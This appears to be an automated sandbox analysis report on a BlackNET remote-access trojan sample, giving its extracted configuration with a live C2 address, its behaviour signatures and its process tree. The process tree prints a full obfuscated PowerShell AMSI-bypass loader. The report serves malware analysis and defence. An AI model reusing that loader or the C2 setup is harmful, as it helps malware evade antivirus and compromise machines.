Overview

overview

10

Static

static

3

crypted_Client.exe

windows10-2004-x64

crypted_Client.exe

windows11-21h2-x64

Analysis

  • max time kernel
    3s
  • max time network
    12s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    11/11/2025, 00:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    crypted_Client.exe
  • Size 687KB
  • Sample251111-am26tswpfy
  • SHA256 cc0515702b7202ace2138baccd39918fa12d957077b08e74077c6fa1a601b61b
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
o7labdefense_evasiondiscoveryexecutionblacknetpersistencetrojan

Malware Config

Extracted

Family

  • blacknet

Version

  • v3.7.0 Public

Botnet

  • o7lab

C2

  • http://196.251.115.22/panel

Mutex

  • BN[b4db8f9adce3a1d7bfef89c9aee19edb]

Attributes
  • antivm

    false

  • elevate_uac

    false

  • install_name

    $77svchost.exe

  • splitter

    |BN|

  • start_name

    e162b1333458a713bc6916cc8ac4110c

  • startup

    true

  • usb_spread

    true

aes.plain

Signatures

  • BlackNET

    BlackNET is an open source remote access tool written in VB.NET.

    trojanblacknet
  • BlackNET payload 2 IoCs
  • Blacknet family
    blacknet
  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\crypted_Client.exe
    "C:\Users\Admin\AppData\Local\Temp\crypted_Client.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1592
    • C:\Users\Admin\AppData\Local\Temp\tmp9A0D.tmp
      "C:\Users\Admin\AppData\Local\Temp\tmp9A0D.tmp"
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Get-MpPreference -verbose
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5488
      • C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
        "C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe"
        3⤵
          PID:5108
    • C:\Windows\system32\cmd.exe
      cmd.exe /c "powershell.exe -Command ""function Local:PQmmKViobghp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qNMDfXbWzogfdY,[Parameter(Position=1)][Type]$cEjZUiEXzb)$CBJnOJNVpyL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+'d'+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'ryM'+'o'+''+[Char](100)+'ul'+[Char](101)+'',$False).DefineType('MyD'+'e'+'le'+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+'ype',''+[Char](67)+''+'l'+''+'a'+'s'+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](101)+'al'+[Char](101)+''+'d'+','+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+'t'+''+'o'+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$CBJnOJNVpyL.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'cialN'+'a'+''+[Char](109)+'e'+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+'e'+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'lic',[Reflection.CallingConventions]::Standard,$qNMDfXbWzogfdY).SetImplementationFlags('Ru'+[Char](110)+'ti'+'m'+''+[Char](101)+','+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$CBJnOJNVpyL.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+'ke','P'+'u'+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+'H'+'i'+''+[Char](100)+''+'e'+'B'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+'t'+[Char](44)+''+'V'+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$cEjZUiEXzb,$qNMDfXbWzogfdY).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $CBJnOJNVpyL.CreateType();}$GkNiLmzRfEved=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+''+'r'+'o'+'s'+'o'+'f'+'t.W'+'i'+'n'+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$EeyaMtuKWhUHdJ=$GkNiLmzRfEved.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](80)+''+'r'+''+'o'+''+'c'+'Ad'+'d'+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pub'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WmUPhLzMIdAjqiAnbUw=PQmmKViobghp @([String])([IntPtr]);$xBCppnhbAhrTRZZnUXqZHN=PQmmKViobghp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cGdMYoSRxEZ=$GkNiLmzRfEved.GetMethod('G'+'e'+''+[Char](116)+''+'M'+''+'o'+'d'+[Char](117)+''+[Char](108)+'e'+[Char](72)+'a'+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')));$JmttRMLwnoWoij=$EeyaMtuKWhUHdJ.Invoke($Null,@([Object]$cGdMYoSRxEZ,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+'L'+'i'+'b'+[Char](114)+'ar'+'y'+''+[Char](65)+'')));$ydMtyHstEQfBlDqkl=$EeyaMtuKWhUHdJ.Invoke($Null,@([Object]$cGdMYoSRxEZ,[Object](''+'V'+'i'+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$xNVoVyQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JmttRMLwnoWoij,$WmUPhLzMIdAjqiAnbUw).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+'ll');$JUjwhEPRidJNMpryL=$EeyaMtuKWhUHdJ.Invoke($Null,@([Object]$xNVoVyQ,[Object]('A'+[Char](109)+'s'+'i'+''+[Char](83)+'ca'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$NimnKacHYU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ydMtyHstEQfBlDqkl,$xBCppnhbAhrTRZZnUXqZHN).Invoke($JUjwhEPRidJNMpryL,[uint32]8,4,[ref]$NimnKacHYU);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](169-38),[Byte](9+184),[Byte](14-14),[Byte](72+112),[Byte](97-10),[Byte](214-214),[Byte](28-21),[Byte](103+25),[Byte](79+58),[Byte](250-58),[Byte](155+40),[Byte](128+9),[Byte](222-21)),0,$JUjwhEPRidJNMpryL,124-111);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ydMtyHstEQfBlDqkl,$xBCppnhbAhrTRZZnUXqZHN).Invoke($JUjwhEPRidJNMpryL,[uint32]8,0x20,[ref]$NimnKacHYU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+'W'+'A'+'R'+'E'+'').GetValue('$'+[Char](55)+''+[Char](55)+''+'s'+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
      1⤵
      • System Time Discovery
      PID:4392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -Command ""function Local:PQmmKViobghp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qNMDfXbWzogfdY,[Parameter(Position=1)][Type]$cEjZUiEXzb)$CBJnOJNVpyL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+'d'+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'ryM'+'o'+''+[Char](100)+'ul'+[Char](101)+'',$False).DefineType('MyD'+'e'+'le'+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+'ype',''+[Char](67)+''+'l'+''+'a'+'s'+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](101)+'al'+[Char](101)+''+'d'+','+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+'t'+''+'o'+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$CBJnOJNVpyL.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'cialN'+'a'+''+[Char](109)+'e'+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+'e'+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'lic',[Reflection.CallingConventions]::Standard,$qNMDfXbWzogfdY).SetImplementationFlags('Ru'+[Char](110)+'ti'+'m'+''+[Char](101)+','+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$CBJnOJNVpyL.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+'ke','P'+'u'+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+'H'+'i'+''+[Char](100)+''+'e'+'B'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+'t'+[Char](44)+''+'V'+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$cEjZUiEXzb,$qNMDfXbWzogfdY).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $CBJnOJNVpyL.CreateType();}$GkNiLmzRfEved=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+''+'r'+'o'+'s'+'o'+'f'+'t.W'+'i'+'n'+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$EeyaMtuKWhUHdJ=$GkNiLmzRfEved.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](80)+''+'r'+''+'o'+''+'c'+'Ad'+'d'+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pub'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WmUPhLzMIdAjqiAnbUw=PQmmKViobghp @([String])([IntPtr]);$xBCppnhbAhrTRZZnUXqZHN=PQmmKViobghp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cGdMYoSRxEZ=$GkNiLmzRfEved.GetMethod('G'+'e'+''+[Char](116)+''+'M'+''+'o'+'d'+[Char](117)+''+[Char](108)+'e'+[Char](72)+'a'+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')));$JmttRMLwnoWoij=$EeyaMtuKWhUHdJ.Invoke($Null,@([Object]$cGdMYoSRxEZ,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+'L'+'i'+'b'+[Char](114)+'ar'+'y'+''+[Char](65)+'')));$ydMtyHstEQfBlDqkl=$EeyaMtuKWhUHdJ.Invoke($Null,@([Object]$cGdMYoSRxEZ,[Object](''+'V'+'i'+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$xNVoVyQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JmttRMLwnoWoij,$WmUPhLzMIdAjqiAnbUw).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+'ll');$JUjwhEPRidJNMpryL=$EeyaMtuKWhUHdJ.Invoke($Null,@([Object]$xNVoVyQ,[Object]('A'+[Char](109)+'s'+'i'+''+[Char](83)+'ca'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$NimnKacHYU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ydMtyHstEQfBlDqkl,$xBCppnhbAhrTRZZnUXqZHN).Invoke($JUjwhEPRidJNMpryL,[uint32]8,4,[ref]$NimnKacHYU);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](169-38),[Byte](9+184),[Byte](14-14),[Byte](72+112),[Byte](97-10),[Byte](214-214),[Byte](28-21),[Byte](103+25),[Byte](79+58),[Byte](250-58),[Byte](155+40),[Byte](128+9),[Byte](222-21)),0,$JUjwhEPRidJNMpryL,124-111);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ydMtyHstEQfBlDqkl,$xBCppnhbAhrTRZZnUXqZHN).Invoke($JUjwhEPRidJNMpryL,[uint32]8,0x20,[ref]$NimnKacHYU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+'W'+'A'+'R'+'E'+'').GetValue('$'+[Char](55)+''+[Char](55)+''+'s'+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:3576
    • C:\Users\Admin\AppData\Local\Temp\tmp9A0D.tmp
      C:\Users\Admin\AppData\Local\Temp\tmp9A0D.tmp
      1⤵
        PID:5348
      • C:\Users\Admin\AppData\Local\Temp\Microsoft\MyClient\$77svchost.exe
        C:\Users\Admin\AppData\Local\Temp\Microsoft\MyClient\$77svchost.exe
        1⤵
          PID:5596

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              WinUpdate.exe
              • Path C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
              • Size 166KB
              • SHA256 c14646d5cc86c131289247a65c437357c43083e91ad0cd441572f5d2cc3c1fb4
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              __PSScriptPolicyTest_f1cwgqg2.dq3.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1cwgqg2.dq3.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512
              Submit Download

              tmp9A0D.tmp
              • Path C:\Users\Admin\AppData\Local\Temp\tmp9A0D.tmp
              • Size 117KB
              • SHA256 0b9e550d0508585f89a73b056ea825c5c328a918d76948390153a89fa8584b42
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              memory/1592-0-0x00007FFFF7E00000-0x00007FFFF8009000-memory.dmp
              Download

              memory/2848-22-0x000000001B4A0000-0x000000001B4B0000-memory.dmp
              Download

              memory/2848-8-0x000000001B4A0000-0x000000001B4B0000-memory.dmp
              Download

              memory/2848-7-0x000000001B4A0000-0x000000001B4B0000-memory.dmp
              Download

              memory/2848-6-0x000000001B4A0000-0x000000001B4B0000-memory.dmp
              Download

              memory/2848-5-0x0000000000750000-0x0000000000772000-memory.dmp
              Download

              memory/2848-31-0x000000001B4A0000-0x000000001B4B0000-memory.dmp
              Download

              memory/2848-34-0x000000001B4A0000-0x000000001B4B0000-memory.dmp
              Download

              memory/2848-42-0x000000001B4A0000-0x000000001B4B0000-memory.dmp
              Download

              memory/5488-9-0x000002339F97A000-0x000002339F97B000-memory.dmp
              Download

              memory/5488-15-0x00000233B8320000-0x00000233B8342000-memory.dmp
              Download

              memory/5488-17-0x000002339F1B0000-0x000002339FC72000-memory.dmp
              Download

              memory/5488-18-0x000002339F1B0000-0x000002339FC72000-memory.dmp
              Download

              memory/5488-21-0x000002339F1B0000-0x000002339FC72000-memory.dmp
              Download